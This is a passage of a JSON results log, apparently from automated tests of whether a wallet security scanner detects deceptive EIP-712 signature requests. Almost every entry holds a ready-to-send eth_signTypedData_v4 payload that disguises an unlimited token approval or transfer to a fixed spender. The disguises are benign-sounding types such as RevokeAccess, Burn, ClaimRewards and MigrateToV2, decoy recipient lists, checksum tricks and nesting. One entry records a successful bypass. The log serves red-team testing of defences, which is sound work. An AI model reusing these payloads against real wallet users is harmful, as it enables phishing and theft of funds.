"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T16:40:35.982Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T16:40:45.143Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T16:40:54.319Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T16:41:03.498Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T16:41:12.698Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T16:41:21.884Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T16:41:31.045Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T16:41:40.208Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T16:41:49.369Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T16:41:58.535Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T16:42:07.815Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN15-EIP3009-022", "timestamp": "2026-01-31T16:42:16.970Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xd47478b4a6fb41d16f295f2efba5338fd83bb763141b00c44fa22be130d51806\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN15-EIP3009-054", "timestamp": "2026-01-31T16:42:23.523Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x47adbcdcc814a336d1ef3f81a43fdddb1a9d066397967bb677f539a5a5c753c6\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T16:42:33.073Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T16:42:42.288Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T16:42:51.462Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T16:43:00.640Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T16:43:09.964Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T16:43:19.152Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config 